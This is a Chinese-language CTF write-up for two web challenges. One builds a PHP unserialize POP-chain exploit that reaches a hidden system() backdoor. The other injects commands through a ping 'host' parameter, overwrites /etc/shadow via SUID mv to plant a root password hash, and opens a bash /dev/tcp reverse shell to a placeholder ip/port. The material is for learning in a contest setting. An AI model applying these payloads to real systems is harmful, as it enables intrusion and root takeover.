星途ctf2025

写在前面

突然感觉这个比赛考的东西挺好的,但是在打的时候太心急了!

ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
header("Content-type:text/html;charset=utf-8");
class Mason {
public $qwe;
public $bro;

public function __wakeup() {
$temp=$this->bro;
$temp();
}

public function __construct() {
$this->qwe = "123456";
$this->bro = "123456";

}
}

class Ethan{

public $aer;
public $asd;

public function __invoke() {
serialize($this->asd);
}

public function __construct() {
$this->aer = "123456";
$this->asd = "123456";

}
}

class Chloe{
public $power;
public $dfg;
public $hjk;

public $say;

public $fn;

public function __construct() {
$this->hjk = "123456";
$this->dfg = "123456";
$this->power = "123456";
$this->say = "I want sleep";

}

public function __sleep() {
print $this->say;
return $this->power->hello;

}

public function __toString()
{
$this->fu =new class() {
public $parent;

public function __construct() {
$this->parent = "123456";
}
public function backdoor(){
system("cat /flag");
}

};

return "I want sleep";
}

}

class Grace {

public $ou;

public function __construct() {
$this->ou = "123456";
}

public function __get($good) {
$temp = $this->ou;
$temp();
}
}

if (isset($_GET['hjkl'])) {
$hjkl = $_GET['hjkl'];
unserialize($hjkl);
}else {
highlight_file('index.php');
}

前面的链子挺简单的就不分析了,关键是如何去触发backdoor这个方法?

分链子打法加&引用

所谓分链子就是链子一分为二呗,引用就是共享同一内存,这意味着,只要内存发生变化,&引用也会发生变化

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Mason {
public $bro;
}

class Ethan{
public $asd;
}

class Chloe{
public $power;
public $say;
}

class Grace {
public $ou;
}
$a = new Mason();
$b = new Ethan();
$c = new Chloe();
$c2 = new Chloe();
$d = new Grace();
$a->bro = $b;
$b->asd = $c;
$c->say = $c2;
$c->power = $d;
$d->ou = [&$c2->fu,'backdoor']; //callable的形式去调用对象的方法
$ser = serialize($a);
echo $ser;
var_dump(unserialize($ser));

那么主要有两个疑问:

1.在触发__toString方法的时候为什么还要多创建一个$c2 = new Chloe();对象?

2.为什么在创建数组callable的时候第一个元素要加上&?

对于第一个这就是我说的分链子,是为了让链子的结构更分明!那为什么要加&呢?

这其实是一个先后顺序的问题!假设没有这个&$d->ou = [$c2->fu,'backdoor'];你这个的第一个元素就是null,有&这个那么就是第一个元素与$c2->fu共享同一内存地址,那么在序列化的时候就是&null,但是在反序列化之后会触发__toString从而实现$c2->fu就是一个对象了!

1
考点:1,分链子 2,callable 3,引用内存共享

超级ping

直接就有shell了!那会不会是没权限呢?

1
find / -type f -name "fl*"

找了似乎没有,那只能考虑在当前用户没有权限的目录下了

1
drwx------   1 root root 4096 Oct 21 06:33 root

果然这个目录就只给了文件所有者权限

尝试suid提权

1
2
3
4
5
6
7
8
9
10
11
12
find / -perm -4000 -type f 2>/dev/null

/usr/bin/umount
/usr/bin/passwd
/usr/bin/su
/usr/bin/mv
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo

利用mv提权:构造恶意文件,然后mv移动污染/etc/shadow(这是存储用户密码的地方)

构造加盐加密的密码:

1
2
3
4
5
openssl passwd -1 -salt flag root
openssl passwd:openssl 工具中用于生成密码哈希的子命令
-1:指定使用 MD5 算法来生成哈希,这是 Linux 系统中常见且兼容的格式(通常以 $1$ 开头)
#$1$flag$Qiv1fGuuojJhoMNhwWehP.
最终要写的:root:$1$flag$Qiv1fGuuojJhoMNhwWehP.:18000:0:99999:7:::

写入文件(寻找可写目录):

1
2
3
4
5
?host=127.0.0.1;echo 'root:$1$flag$Qiv1fGuuojJhoMNhwWehP.:18000:0:99999:7:::' > /home/ctfuser/txt

?host=127.0.0.1;/usr/bin/mv /home/ctfuser/txt /etc/shadow

?host=127.0.0.1;bash -c "bash -i >&/dev/tcp/ip/port 0>&1"

1
考点:suid mv提权

还有一题比赛时没看就懒得写了!